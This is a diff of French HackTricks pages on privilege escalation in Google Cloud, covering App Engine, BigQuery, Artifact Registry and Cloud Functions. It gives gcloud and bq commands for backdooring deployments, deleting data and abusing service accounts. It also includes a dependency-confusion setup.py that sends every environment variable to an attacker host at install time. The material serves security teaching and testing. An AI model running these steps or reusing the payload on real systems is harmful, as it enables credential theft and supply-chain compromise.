||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Pour modifier les adresses IP filtrées, la commande suivante peut être utilisée :
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
Le fichier JSON représente le filtre lui-même, quelque chose comme :
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
Restaurer un bucket en utilisant :
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+124
-72
@@ -1,87 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
Les permissions suivantes sont utiles pour créer et voler des clés API, notez ceci d'après la doc : _Une clé API est une chaîne chiffrée simple qui **identifie une application sans aucun principal**. Elles sont utiles pour accéder **anonymement à des données publiques**, et sont utilisées pour **associer** les requêtes API à votre projet pour le quota et la **facturation**._
|
||||
|
||||
Par conséquent, avec une clé API vous pouvez faire en sorte que l'entreprise paie pour votre utilisation de l'API, mais vous ne pourrez pas obtenir d'élévation de privilèges.
|
||||
|
||||
For more information about API Keys check:
|
||||
Pour plus d'informations sur App Engine, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Ce sont les permissions nécessaires pour **déployer une application en utilisant `gcloud` cli**. Il est possible que les permissions **`get`** et **`list`** puissent être **évitées**.
|
||||
|
||||
Vous pouvez trouver des exemples de code Python dans [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Par défaut, le nom du service App sera **`default`**, et il ne peut y avoir qu'une seule instance portant le même nom.\
|
||||
Pour le changer et créer une deuxième application, dans **`app.yaml`**, changez la valeur de la clé racine pour quelque chose comme **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Attendez au moins 10–15 minutes ; si cela ne fonctionne pas, relancez le déploiement une ou deux fois et attendez quelques minutes.
|
||||
|
||||
> [!NOTE]
|
||||
> Il est **possible d'indiquer le Service Account à utiliser** mais par défaut, l'App Engine default SA est utilisé.
|
||||
|
||||
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Mettre à jour les autorisations équivalentes
|
||||
|
||||
Vous disposez peut-être des autorisations nécessaires pour mettre à jour un AppEngine mais pas pour en créer un nouveau. Dans ce cas, voici comment vous pouvez mettre à jour l'App Engine actuel :
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Si vous **avez déjà compromis un AppEngine** et que vous avez la permission **`appengine.applications.update`** et **actAs** sur le compte de service à utiliser, vous pourriez modifier le compte de service utilisé par AppEngine avec :
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Avec ces permissions, il est possible de **se connecter via ssh aux instances App Engine** de type **flexible** (pas standard). Certaines des permissions **`list`** et **`get`** **pourraient ne pas être vraiment nécessaires**.
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Je pense que cela modifie simplement le SA d'arrière-plan que google utilisera pour configurer les applications, donc je ne pense pas que vous puissiez abuser de cela pour voler le service account.
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Je ne suis pas sûr de la façon d'utiliser ces permissions ni si elles sont utiles (notez que lorsque vous changez le code, une nouvelle version est créée, donc je ne sais pas si vous pouvez simplement mettre à jour le code ou le rôle IAM d'une version, mais je suppose que vous devriez pouvoir le faire, peut‑être en changeant le code à l'intérieur du bucket ?).
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
Pour supprimer des tables, des ensembles de données ou des modèles :
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Abus de Scheduled Queries
|
||||
|
||||
Grâce aux permissions `bigquery.datasets.get`, `bigquery.jobs.create` et `iam.serviceAccounts.actAs`, une identité peut interroger les métadonnées d'un dataset, lancer des jobs BigQuery et les exécuter en utilisant un Service Account disposant de privilèges supérieurs.
|
||||
|
||||
Cette attaque permet d'abuser des Scheduled Queries pour automatiser des requêtes (exécutées sous le Service Account choisi), ce qui peut, par exemple, aboutir à la lecture d'informations sensibles et à leur écriture dans une autre table ou dataset auxquels l'attaquant a accès — facilitant une exfiltration indirecte et continue sans avoir à extraire les données hors du système.
|
||||
|
||||
Une fois que l'attaquant sait quel Service Account possède les permissions nécessaires pour exécuter la requête voulue, il peut créer une configuration de Scheduled Query s'exécutant avec ce Service Account et qui écrit périodiquement les résultats dans le dataset de son choix.
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### Accès en écriture aux buckets
|
||||
|
||||
Comme mentionné les appengine versions génèrent certaines données à l'intérieur d'un bucket avec le format de nom : `staging.<project-id>.appspot.com`. Notez qu'il n'est pas possible de pre-takeover ce bucket car les utilisateurs GCP ne sont pas autorisés à générer des buckets utilisant le domaine `appspot.com`.
|
||||
|
||||
Cependant, avec un accès read & write à ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la AppEngine version en surveillant le bucket et, à chaque fois qu'un changement est effectué, modifier le code aussi rapidement que possible. Ainsi, le container créé à partir de ce code **exécutera le backdoored code**.
|
||||
|
||||
Pour plus d'informations et une **PoC, consultez les informations pertinentes sur cette page** :
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Accès en écriture au Artifact Registry
|
||||
|
||||
Comme vous pouvez ne pas savoir quelles APIs sont activées dans le projet ou quelles restrictions s'appliquent à la clé API que vous avez trouvée, il peut être intéressant d'exécuter l'outil [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) et vérifier **ce à quoi vous pouvez accéder avec la clé API.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Cette permission permet de **créer une clé API** :
|
||||
|
||||
<details>
|
||||
<summary>Créer une clé API en utilisant gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que, par défaut, les utilisateurs ont la permission de créer de nouveaux projets et se voient attribuer le rôle Owner sur le nouveau projet. Ainsi, un utilisateur pourrait **créer un projet et une API key à l'intérieur de ce projet**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Ces permissions permettent de **lister toutes les apiKeys et d'obtenir la Key** :
|
||||
|
||||
<details>
|
||||
<summary>Lister et récupérer toutes les API keys</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un vuln environment ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Ces permissions vous permettent de **lister et régénérer les api keys supprimées**. La **API key est donnée dans la sortie** après que l'**undelete** soit effectué :
|
||||
|
||||
<details>
|
||||
<summary>Lister et undelete les api keys</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Créer une application OAuth interne pour phish d'autres employés
|
||||
|
||||
Consultez la page suivante pour apprendre comment faire cela, bien que cette action appartienne au service **`clientauthconfig`** [selon la documentation](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
Même si App Engine crée des images docker dans Artifact Registry, il a été constaté que **même si vous modifiez l'image dans ce service** et supprimez l'instance App Engine (donc une nouvelle est déployée), le **code exécuté ne change pas**.
|
||||
Il se peut que, en réalisant une **Race Condition attack comme avec les buckets il soit possible d'écraser le code exécuté**, mais cela n'a pas été testé.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+88
-33
@@ -12,10 +12,10 @@ Pour plus d'informations sur Artifact Registry, consultez :
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Avec cette permission, un attacker pourrait téléverser de nouvelles versions des artifacts contenant du code malveillant, par exemple des images Docker :
|
||||
Avec cette permission, un attaquant pourrait téléverser de nouvelles versions des artefacts contenant du code malveillant, comme des images Docker :
|
||||
|
||||
<details>
|
||||
<summary>Téléverser une image Docker dans Artifact Registry</summary>
|
||||
<summary>Téléverser une image Docker vers Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Il a été vérifié qu'il est **possible de téléverser une nouvelle image docker malveillante** avec le même nom et tag que celle déjà présente, donc l'**ancienne perdra le tag** et la prochaine fois que l'image avec ce tag sera **téléchargée, ce sera la malveillante qui sera récupérée**.
|
||||
> Il a été vérifié qu'il est **possible d'uploader une nouvelle image docker malveillante** avec le même nom et tag que celle déjà présente, donc la **ancienne perdra le tag** et la prochaine fois que l'image avec ce tag sera **téléchargée, la malveillante sera téléchargée**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Téléverser une bibliothèque Python</summary>
|
||||
|
||||
**Commencez par créer la bibliothèque à téléverser** (si vous pouvez télécharger la dernière version depuis le registry vous pouvez éviter cette étape) :
|
||||
**Commencez par créer la bibliothèque à téléverser** (si vous pouvez télécharger la dernière version depuis le registry vous pouvez éviter cette étape):
|
||||
|
||||
1. **Mettez en place la structure du projet** :
|
||||
1. **Configurez la structure de votre projet**:
|
||||
|
||||
- Créez un nouveau répertoire pour votre bibliothèque, p.ex., `hello_world_library`.
|
||||
- À l'intérieur de ce répertoire, créez un autre répertoire avec le nom de votre package, p.ex., `hello_world`.
|
||||
- Créez un nouveau répertoire pour votre bibliothèque, par ex., `hello_world_library`.
|
||||
- À l'intérieur de ce répertoire, créez un autre répertoire avec le nom de votre package, par ex., `hello_world`.
|
||||
- Dans le répertoire de votre package, créez un fichier `__init__.py`. Ce fichier peut être vide ou contenir des initialisations pour votre package.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
<summary>Créer la structure du projet</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -55,13 +55,13 @@ touch hello_world/__init__.py
|
||||
|
||||
</details>
|
||||
|
||||
2. **Écrivez le code de votre bibliothèque** :
|
||||
2. **Écrivez le code de votre bibliothèque**:
|
||||
|
||||
- À l'intérieur du répertoire `hello_world`, créez un nouveau fichier Python pour votre module, p.ex., `greet.py`.
|
||||
- Écrivez votre fonction "Hello, World !" :
|
||||
- Dans le répertoire `hello_world`, créez un nouveau fichier Python pour votre module, par ex., `greet.py`.
|
||||
- Écrivez votre fonction "Hello, World!" :
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
<summary>Créer le module de la bibliothèque</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -71,13 +71,13 @@ return "Hello, World!"
|
||||
|
||||
</details>
|
||||
|
||||
3. **Créez un fichier `setup.py`** :
|
||||
3. **Créez un fichier `setup.py`**:
|
||||
|
||||
- À la racine de votre répertoire `hello_world_library`, créez un fichier `setup.py`.
|
||||
- Ce fichier contient des métadonnées sur votre bibliothèque et indique à Python comment l'installer.
|
||||
- Ce fichier contient les métadonnées de votre bibliothèque et indique à Python comment l'installer.
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
<summary>Créer le fichier setup.py</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -95,14 +95,14 @@ install_requires=[
|
||||
|
||||
</details>
|
||||
|
||||
**Maintenant, téléversons la bibliothèque :**
|
||||
**Maintenant, téléversez la bibliothèque :**
|
||||
|
||||
1. **Construisez votre package** :
|
||||
1. **Construisez votre package**:
|
||||
|
||||
- Depuis la racine de votre répertoire `hello_world_library`, exécutez :
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
<summary>Construire le package Python</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
@@ -110,12 +110,12 @@ python3 setup.py sdist bdist_wheel
|
||||
|
||||
</details>
|
||||
|
||||
2. **Configurez l'authentification pour twine** (utilisé pour téléverser votre package) :
|
||||
2. **Configurez l'authentification pour twine** (utilisé pour téléverser votre package):
|
||||
- Assurez-vous d'avoir `twine` installé (`pip install twine`).
|
||||
- Utilisez `gcloud` pour configurer les credentials :
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
<summary>Téléverser le package avec twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
@@ -124,7 +124,7 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
|
||||
3. **Nettoyer la compilation**
|
||||
|
||||
<details>
|
||||
<summary>Supprimer les artefacts de compilation</summary>
|
||||
<summary>Nettoyer les artefacts de compilation</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
@@ -133,10 +133,10 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Il n'est pas possible d'uploader une bibliothèque python avec la même version que celle déjà présente, mais il est possible d'uploader des **versions supérieures** (ou d'ajouter un **`.0` à la fin** de la version si cela fonctionne — pas en python toutefois), ou de **supprimer la dernière version et d'uploader une nouvelle** (nécessite `artifactregistry.versions.delete)`**:**
|
||||
> Il n'est pas possible de téléverser une bibliothèque python avec la même version que celle déjà présente, mais il est possible de téléverser des **versions supérieures** (ou d'ajouter un **`.0` à la fin** de la version si cela fonctionne — pas en python cependant —), ou de **supprimer la dernière version et d'en téléverser une nouvelle avec** (nécessite `artifactregistry.versions.delete`)**:**
|
||||
>
|
||||
> <details>
|
||||
> <summary>Supprimer une version d'un artifact</summary>
|
||||
> <summary>Delete artifact version</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
@@ -148,7 +148,7 @@ rm -rf dist build hello_world.egg-info
|
||||
|
||||
Avec cette permission, vous pouvez **télécharger des artifacts** et rechercher des **informations sensibles** et des **vulnérabilités**.
|
||||
|
||||
Télécharger une image **Docker** :
|
||||
Download a **Docker** image:
|
||||
|
||||
<details>
|
||||
<summary>Télécharger une image Docker depuis Artifact Registry</summary>
|
||||
@@ -164,13 +164,13 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
Télécharger une bibliothèque **python** :
|
||||
|
||||
<details>
|
||||
<summary>Télécharger une bibliothèque Python depuis Artifact Registry</summary>
|
||||
<summary>Télécharger une bibliothèque **python** depuis Artifact Registry</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
</details>
|
||||
|
||||
- Que se passe-t-il si des registres distants et standard sont mélangés dans un registre virtuel et qu'un package existe dans les deux ? Consultez cette page :
|
||||
- Que se passe-t-il si des registres distants et standards sont mélangés dans un registre virtuel et qu'un package existe dans les deux ? Consultez cette page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Supprimer des artefacts du registre, comme des images Docker :
|
||||
Supprimer des artefacts du registre, comme des images docker :
|
||||
|
||||
<details>
|
||||
<summary>Supprimer une image Docker depuis Artifact Registry</summary>
|
||||
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Supprimer un repository complet (même s'il contient du contenu) :
|
||||
Supprimer un dépôt complet (même s'il contient du contenu) :
|
||||
|
||||
<details>
|
||||
<summary>Supprimer le repository Artifact Registry</summary>
|
||||
<summary>Supprimer le référentiel Artifact Registry</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait s'octroyer des droits lui permettant d'effectuer certaines des attaques de repository mentionnées précédemment.
|
||||
Un attaquant disposant de cette permission pourrait s'accorder des droits pour effectuer certaines des attaques sur les dépôts mentionnées précédemment.
|
||||
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Lorsqu'une Cloud Function est créée, une nouvelle image docker est poussée dans l'Artifact Registry du projet. J'ai essayé de remplacer l'image par une nouvelle, et même de supprimer l'image actuelle (et l'image `cache`) et rien n'a changé : la Cloud Function a continué de fonctionner. Par conséquent, il **pourrait être possible d'abuser d'une Race Condition attack** comme avec le bucket pour changer le docker container qui sera exécuté, mais **seulement modifier l'image stockée ne permet pas de compromettre la Cloud Function**.
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. J'ai essayé de modifier l'image avec une nouvelle, et même de supprimer l'image actuelle (et l'image `cache`) et rien n'a changé, la Cloud Function continue de fonctionner. Par conséquent, il **pourrait être possible d'abuser d'un Race Condition attack** comme avec le bucket pour changer le conteneur docker qui sera exécuté mais **seulement modifier l'image stockée ne permet pas de compromettre la Cloud Function**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Même si App Engine crée des docker images dans l'Artifact Registry, il a été testé que **même si vous modifiez l'image dans ce service** et supprimez l'instance App Engine (donc une nouvelle est déployée), le **code exécuté ne change pas**.\
|
||||
Il est possible que la réalisation d'une **Race Condition attack comme avec les buckets puisse permettre d'écraser le code exécuté**, mais cela n'a pas été testé.
|
||||
Even though App Engine creates docker images inside Artifact Registry. Il a été testé que **même si vous modifiez l'image à l'intérieur de ce service** et supprimez l'instance App Engine (donc une nouvelle est déployée) le **code exécuté ne change pas**.\
|
||||
Il pourrait être possible qu'en réalisant une **Race Condition attack comme avec les buckets il soit possible d'écraser le code exécuté**, mais cela n'a pas été testé.
|
||||
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
An attacker does not need specific Artifact Registry permissions to exploit this issue—only a vulnerable virtual-repository configuration. Cela se produit lorsqu'un dépôt virtuel combine un dépôt distant public (p. ex., PyPI, npm) avec un dépôt interne, et que la source distante a une priorité égale ou supérieure. Si les deux contiennent un package portant le même nom, le système sélectionne la version la plus élevée. L'attaquant n'a qu'à connaître le nom du package interne et être capable de publier des packages dans le registre public correspondant.
|
||||
|
||||
With the `artifactregistry.repositories.update` permission, an attacker could change a virtual repository’s upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.
|
||||
|
||||
The attacker creates a malicious version of the internal package in the public repository with a higher version number. For Python packages, this means preparing a package structure that mimics the legitimate one.
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
Un fichier setup.py est ensuite créé, contenant du code malveillant qui s'exécuterait lors de l'installation. Ce fichier doit spécifier un numéro de version supérieur à celui du dépôt privé.
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Construisez le package et supprimez le wheel afin de garantir que le code est exécuté lors de l'installation.
|
||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
Téléversez le paquet malveillant dans le dépôt public (par exemple, test.pypi.org pour Python).
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
Lorsqu'un système ou un service installe le package en utilisant le dépôt virtuel, il téléchargera la version malveillante depuis le dépôt public plutôt que la version interne légitime, car la version malveillante a un numéro de version supérieur et le dépôt distant a une priorité égale ou supérieure.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-24
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Plus d'informations sur Cloud Functions :
|
||||
Plus d'informations sur Cloud Functions :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -13,20 +13,18 @@ Plus d'informations sur Cloud Functions :
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaquant disposant de ces privilèges peut **créer une nouvelle Cloud Function avec du code arbitraire (malveillant) et lui assigner un Service Account**. Ensuite, leak le Service Account token depuis les metadata pour escalader les privilèges vers celui-ci.\
|
||||
Certaines permissions pour déclencher la fonction peuvent être requises.
|
||||
Certaines permissions pour déclencher la function peuvent être nécessaires.
|
||||
|
||||
Des scripts d'exploitation pour cette méthode se trouvent [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) et [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) et l'archive .zip préconstruite se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaquant disposant de ces privilèges peut **modifier le code d'une Function et même modifier le service account attaché** dans le but d'exfiltrating le token.
|
||||
Un attaquant disposant de ces privilèges peut **modifier le code d'une Function et même modifier le service account attaché** dans le but d'exfiltrer le token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pour déployer cloud functions vous aurez aussi besoin des permissions actAs sur le default compute service account ou sur le service account utilisé pour construire l'image.
|
||||
> Pour déployer des cloud functions vous aurez également besoin des permissions actAs sur le default compute service account ou sur le service account qui est utilisé pour construire l'image.
|
||||
|
||||
Certaines permissions supplémentaires comme la permission `.call` pour la version 1 de cloudfunctions ou le rôle `role/run.invoker` pour déclencher la fonction peuvent être requises.
|
||||
|
||||
<details><summary>Mettre à jour la Cloud Function avec du code malveillant pour exfiltrate service account token</summary>
|
||||
Des privilèges supplémentaires comme la permission `.call` pour les cloudfunctions version 1 ou le rôle `role/run.invoker` pour déclencher la fonction peuvent être requis.
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
